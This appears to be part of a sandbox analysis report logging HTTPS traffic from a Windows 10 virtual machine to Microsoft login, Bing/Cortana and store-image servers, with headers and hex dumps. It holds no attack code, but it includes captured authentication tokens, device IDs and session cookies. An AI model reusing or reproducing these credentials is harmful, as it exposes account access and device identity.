.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4714
Host: login.live.com

2022-07-01 09:01:21 UTC 1944 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:21 UTC 1984 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:21 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 7b055fd8-96bd-45a4-a64b-1b8b429e37f8
PPServer: PPV: 30 H: BL02PF6B2F0B86C V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:20 GMT
Connection: close
Content-Length: 11320

2022-07-01 09:01:21 UTC 1985 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP
Destination
Port

Process

107 192.168.2.5 49873 20.199.120.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:21 UTC 1983 OUT Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 36 30 66 34 38 36 35 64 65 61 65 
65 65 65 31 0d 0a 0d 0a 
Data Ascii: CNT 1 CON 246Context: 160f4865deaeeee1

2022-07-01 09:01:21 UTC 1983 OUT Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 
6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 
6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 
34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 
76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 
61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e 
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc>
<lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</
deviceName></agent></connect>
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2022-07-01 09:01:21 UTC 1983 OUT Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 36 30 66 
34 38 36 35 64 65 61 65 65 65 65 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 
3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 
62 6d 51 41 41 66 67 54 2f 37 30 52 32 76 44 6f 6a 4d 61 68 74 49 4e 66 45 44 49 77 65 37 44 41 45 63 6f 54 58 78 79 3
8 4f 42 65 43 7a 41 4c 4f 55 74 58 2b 42 6f 63 75 74 45 55 70 34 45 4e 49 43 39 37 56 74 43 59 72 36 78 44 6e 59 69 72 
38 49 38 62 30 37 47 53 38 44 67 6e 33 31 33 58 33 38 70 61 6a 4c 47 73 31 66 6f 79 70 46 4e 6e 55 73 41 47 54 45 69 
61 55 59 43 65 71 63 30 39 48 4e 33 39 50 67 5a 61 58 61 35 4d 76 6e 
Data Ascii: ATH 2 CON\DEVICE 1026Context: 160f4865deaeeee1<device><compact-ticket>t=EwCwAupIBAAU1bDG
fdaziDfXpjN5N6cYhT1wbmQAAfgT/70R2vDojMahtINfEDIwe7DAEcoTXxy8OBeCzALOUtX+BocutEUp4ENIC97VtC
Yr6xDnYir8I8b07GS8Dgn313X38pajLGs1foypFNnUsAGTEiaUYCeqc09HN39PgZaXa5Mvn

2022-07-01 09:01:21 UTC 1984 OUT Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 
31 36 30 66 34 38 36 35 64 65 61 65 65 65 65 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 
6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 
69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 
65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 
73 3e 
Data Ascii: BND 3 CON\WNS 1044478 170Context: 160f4865deaeeee1<wns><ver>1</ver><client><name>WPN</na
me><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>

2022-07-01 09:01:21 UTC 1996 IN Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a 
Data Ascii: 202 1 CON 58

2022-07-01 09:01:21 UTC 1996 IN Data Raw: 4d 53 2d 43 56 3a 20 44 59 49 65 73 46 56 59 54 55 61 42 4d 73 7a 48 54 5a 7a 37 6e 77 2e 30 0d 0a 0d 0a 
50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e 
Data Ascii: MS-CV: DYIesFVYTUaBMszHTZz7nw.0Payload parsing failed.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

108 192.168.2.5 49874 40.126.32.133 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:21 UTC 1996 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4655
Host: login.live.com

2022-07-01 09:01:21 UTC 1996 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:21 UTC 2001 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:21 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 45c4c4d3-226f-4f68-993e-0fc2fabb60dd
PPServer: PPV: 30 H: BL02PF7B9EE5FDB V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:21 GMT
Connection: close
Content-Length: 11709

2022-07-01 09:01:21 UTC 2002 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

109 192.168.2.5 49876 131.253.33.200 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:21 UTC 2013 OUT GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1
X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage
X-Search-SafeSearch: Moderate
Accept-Encoding: gzip, deflate
X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}
X-Device-IsBatteryCertified: false
X-UserAgeClass: Unknown
X-BM-Market: US
X-BM-DateFormat: M/d/yyyy
X-CortanaAccessAboveLock: false
X-Device-OSSKU: 48
X-Device-IsBatteryEnabled: false
X-Device-NetworkType: ethernet
X-BM-DTZ: -420
X-BM-FirstEnabledTime: 132061340710069592
X-DeviceID: 0100748C0900F045
X-VoiceActivationOn: false
X-Device-AudioCapture: Microphone (High Definition Audio Device)
X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time
X-BM-Theme: 000000;0078d7
X-Search-RPSToken: t%3DEwDgAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAaekDdfbNmVqBCenDLQebHNumpW
t7G63WOiQFHQgKRqrHmtWD0XMaUh9W3lRda0UaXyct57ly1RkmaJtkKvRlZRHFuZZVeaQE%2BxThSbCJIMJb3IpjFz
/4ugdtHrZ9wYK5UrnbhLa2%2BA3ooE7SAX3ALyd8tmNqfSaJ1GtbvXCoYe/nVL9JOB25XH/Ur3nimx6j7DjcbutSJz
QnvTobynCWjJKcHb3RZ/7q%2BcSXPKASj7MsaKtfHrhVpYuDoCPPM9CXIRRzmtFi%2Bt5cuELBPlcOTcxkF69VJSVE
kb1HYQk21Yob1jdY/M6VbNO6IrAxDdxR0DD28xv76PS7KxQmiDyTwIDZgAACLcpd4gOOU79sAEtt/AHHUhvZwTe8z9
Mq9bo2a7WuroCYiHnkR66C0NoaC6aVZ/yb34Ygjm/H8DkDx1VqUIjH9nzzhVGo/SZOfohftc7WDLbyQYwiA7hk3Htc
nPoLkRxc9ZmE4NmPlZwaXYbw/e4DaFgXnFqY6ywyK1nY8N%2BZ1IVKaDSMsNVP2sjdaIxTXowR7xnfjzv4w8a7SlKq
3BaBkuHVBMs/p7HLTsTTZX1g51VU58lcND/m3qj60leOScb6NW%2BEXv9oGEvZseHsPkTj3NiLa9D8ttP%2B5MZAgZ
MIxxD8TUyOUqrLzXpYujcSzEdi2QcysUC7%2BFwFVPrc/BctABDqrGxJ7vKbz4D7JvYWQujFWInk3CxqYNzpbW1SZm
IusPImZ%2BjRuzaaPWeWmJKej77t6Torywpqr05jslnBM2R5kPauwW9ZnmaMLA/aQSPGhq1ZLRnJG9Vwz14cPr76M0
81fOw3SXU2F8pwDfJ4kViY1zESQdcLRrqOG2u3cCzxlKU%2BGl3HCtRjbeJJFqTbhbXZV/ApwP/3EIooYuS%2BDTUv
Ua9vRcUn4gDu5znJU0NvFPp3ex95nYIsKnaAQ%3D%3D%26p%3D
X-Agent-DeviceId: 0100748C0900F045
X-BM-CBT: 1656698421
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
X-Device-isOptin: true
Accept-language: en-US, en
X-Device-IsEnergyHero: false
X-Device-Touch: false
X-Device-ClientSession: F9993832066741BC80259AEDF1BC8411
X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader
Host: www.bing.com
Connection: Keep-Alive
Cookie: MUID=0BA1234E3B2140EBA8746E9F98F8CAA3

2022-07-01 09:01:21 UTC 2021 IN HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache
Pragma: no-cache
Content-Length: 311
Content-Type: application/json; charset=utf-8
Expires: -1
P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND"
Set-Cookie: SUID=M; domain=.bing.com; expires=Sat, 02-Jul-2022 09:01:21 GMT; path=/; HttpOnly
Set-Cookie: MUIDB=0BA1234E3B2140EBA8746E9F98F8CAA3; expires=Wed, 26-Jul-2023 09:01:21 GMT; path=/; H
ttpOnly
Set-Cookie: _EDGE_S=SID=05432246CEC06BBA12493392CFDE6A33&mkt=en-us&ui=en-us; domain=.bing.com; path=
/; HttpOnly
Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Mon, 01-Jul-2024 09:01:21 GMT; path=/
Set-Cookie: SRCHUID=V=2&GUID=19A72F1F144740F7A80C4A3E22BEE060&dmnchg=1; domain=.bing.com; 
expires=Mon, 01-Jul-2024 09:01:21 GMT; path=/
Set-Cookie: SRCHUSR=DOB=20220701; domain=.bing.com; expires=Mon, 01-Jul-2024 09:01:21 GMT; path=/
Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Mon, 01-Jul-2024 09:01:21 GMT; path=/
Set-Cookie: ANON=A=FA462A94F6C59D2D220C10A1FFFFFFFF; domain=.bing.com; expires=Mon, 01-Jul-2024 09:0
1:21 GMT; path=/
Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/
Set-Cookie: _SS=SID=05432246CEC06BBA12493392CFDE6A33; domain=.bing.com; path=/
Set-Cookie: BM-Identity-Error=3002; domain=.bing.com; expires=Fri, 01-Jul-2022 09:06:21 GMT; path=/
X-XSS-Protection: 0
X-Search-ErrorInfo: Error:3002,Message:'FB ID missing'
X-Cache: CONFIG_NOCACHE
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-
CH-UA-Platform, Sec-CH-UA-Platform-Version
X-MSEdge-Ref: Ref A: 19630F1F483D4BEF9B7CDC7BC3A410F5 Ref B: VIEEDGE3120 Ref C: 2022-07-01T09:01:21Z
Date: Fri, 01 Jul 2022 09:01:21 GMT
Connection: close
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2022-07-01 09:01:21 UTC 2023 IN Data Raw: 7b 22 42 61 73 65 50 61 67 65 22 3a 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 
7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 
7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 6
4 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 
6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 
4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 7d 2c 22 41 6e 73 77 65 72 73 22 3a 5b 5d 2c 22 43 6f 6e 66 69 67 22 3a 7b 22 50 72 
65 66 65 74 63 68 49 6e 74 65 72 76 61 6c 22 3a 37 32 30 2c 22 42 61 
Data Ascii: {"BasePage":{"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":
{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}}},"Answers":[]
,"Config":{"PrefetchInterval":720,"Ba

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

11 192.168.2.5 49739 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:36 UTC 135 OUT GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-
9f0acc233a65?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:36 UTC 136 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 7669
Content-Type: image/png
Last-Modified: Thu, 24 May 2018 00:36:00 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTJCMkI1MzM"
MS-CV: zKJ18ukIb0aTWgjG.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:36 UTC 136 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 1d af 49 44 41 54 78 01 ed 9d 09 74 5d c5 79 c7 3f e9 69 df 17 5b 96 65 c9 bb 83 
01 03 61 5f 62 02 04 43 ba a4 a5 24 69 9a e6 94 93 90 a6 69 d2 94 b4 64 21 4b 4f 9b e4 34 74 0b 25 6c a7 14 92 d0 24 
27 10 92 1c 5a 48 a0 98 10 16 1b c2 c1 36 36 c6 36 d8 18 cb 96 6c c9 5a 2c 6b 7f d2 d3 f2 f4 3a 73 65 2d f7 e9 5d 57 cb 
7d d2 cc bb bf 39 47 bc 3b 77 ee 9d f9 e6 f7 0d 7f cf 9d 3b 77 26 2d 54 79 69 4c 08 10 80 00 04 2c 20 90 6e 81 8d 98 08 
01 08 40 c0 21 80 60 d1 10 20 00 01 6b 08 20 58 d6 b8 0a 43 21 00 01 04 8b 36 00 01 08 58 43 00 c1 b2 c6 55 18 0a 01 
08 20 58 b4 01 08 40 c0 1a 02 08 96 35 ae c2 50 08 40 00 c1 a2 0d 
Data Ascii: PNGIHDR,,y}usRGBIDATxt]y?i[ea_bC$iid!KO4t%l$'ZH666lZ,k:se-]W}9G;w;w&-TyiL, n@!` k XC!6XCU 
X@5P@

Session ID Source IP Source Port Destination IP
Destination
Port

Process

110 192.168.2.5 49875 131.253.33.200 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:21 UTC 2015 OUT GET /client/config?cc=US&setlang=en-US HTTP/1.1
X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage
X-Search-SafeSearch: Moderate
Accept-Encoding: gzip, deflate
X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}
X-UserAgeClass: Unknown
X-BM-Market: US
X-BM-DateFormat: M/d/yyyy
X-CortanaAccessAboveLock: false
X-Device-OSSKU: 48
X-BM-DTZ: -420
X-BM-FirstEnabledTime: 132061340710069592
X-DeviceID: 0100748C0900F045
X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time
X-BM-Theme: 000000;0078d7
X-Search-RPSToken: t%3DEwDgAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAaekDdfbNmVqBCenDLQebHNumpW
t7G63WOiQFHQgKRqrHmtWD0XMaUh9W3lRda0UaXyct57ly1RkmaJtkKvRlZRHFuZZVeaQE%2BxThSbCJIMJb3IpjFz
/4ugdtHrZ9wYK5UrnbhLa2%2BA3ooE7SAX3ALyd8tmNqfSaJ1GtbvXCoYe/nVL9JOB25XH/Ur3nimx6j7DjcbutSJz
QnvTobynCWjJKcHb3RZ/7q%2BcSXPKASj7MsaKtfHrhVpYuDoCPPM9CXIRRzmtFi%2Bt5cuELBPlcOTcxkF69VJSVE
kb1HYQk21Yob1jdY/M6VbNO6IrAxDdxR0DD28xv76PS7KxQmiDyTwIDZgAACLcpd4gOOU79sAEtt/AHHUhvZwTe8z9
Mq9bo2a7WuroCYiHnkR66C0NoaC6aVZ/yb34Ygjm/H8DkDx1VqUIjH9nzzhVGo/SZOfohftc7WDLbyQYwiA7hk3Htc
nPoLkRxc9ZmE4NmPlZwaXYbw/e4DaFgXnFqY6ywyK1nY8N%2BZ1IVKaDSMsNVP2sjdaIxTXowR7xnfjzv4w8a7SlKq
3BaBkuHVBMs/p7HLTsTTZX1g51VU58lcND/m3qj60leOScb6NW%2BEXv9oGEvZseHsPkTj3NiLa9D8ttP%2B5MZAgZ
MIxxD8TUyOUqrLzXpYujcSzEdi2QcysUC7%2BFwFVPrc/BctABDqrGxJ7vKbz4D7JvYWQujFWInk3CxqYNzpbW1SZm
IusPImZ%2BjRuzaaPWeWmJKej77t6Torywpqr05jslnBM2R5kPauwW9ZnmaMLA/aQSPGhq1ZLRnJG9Vwz14cPr76M0
81fOw3SXU2F8pwDfJ4kViY1zESQdcLRrqOG2u3cCzxlKU%2BGl3HCtRjbeJJFqTbhbXZV/ApwP/3EIooYuS%2BDTUv
Ua9vRcUn4gDu5znJU0NvFPp3ex95nYIsKnaAQ%3D%3D%26p%3D
X-Agent-DeviceId: 0100748C0900F045
X-BM-CBT: 1656698421
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
X-Device-isOptin: true
Accept-language: en-US, en
X-Device-Touch: false
X-Device-ClientSession: F9993832066741BC80259AEDF1BC8411
X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader
Host: www.bing.com
Connection: Keep-Alive
Cookie: MUID=0BA1234E3B2140EBA8746E9F98F8CAA3

2022-07-01 09:01:21 UTC 2018 IN HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2041
Content-Type: application/json; charset=utf-8
P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND"
Set-Cookie: SUID=M; domain=.bing.com; expires=Sat, 02-Jul-2022 09:01:21 GMT; path=/; HttpOnly
Set-Cookie: MUIDB=0BA1234E3B2140EBA8746E9F98F8CAA3; expires=Wed, 26-Jul-2023 09:01:21 GMT; path=/; H
ttpOnly
Set-Cookie: _EDGE_S=SID=2741C825233C60250D3FD9F122446165&mkt=en-us&ui=en-us; domain=.bing.com; path=/; 
HttpOnly
Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Mon, 01-Jul-2024 09:01:21 GMT; path=/
Set-Cookie: SRCHUID=V=2&GUID=5E310453A5574E61904010C85D4BA58E&dmnchg=1; domain=.bing.com; 
expires=Mon, 01-Jul-2024 09:01:21 GMT; path=/
Set-Cookie: SRCHUSR=DOB=20220701; domain=.bing.com; expires=Mon, 01-Jul-2024 09:01:21 GMT; path=/
Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Mon, 01-Jul-2024 09:01:21 GMT; path=/
Set-Cookie: ANON=A=FA462A94F6C59D2D220C10A1FFFFFFFF; domain=.bing.com; expires=Mon, 01-Jul-2024 09:0
1:21 GMT; path=/
Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/
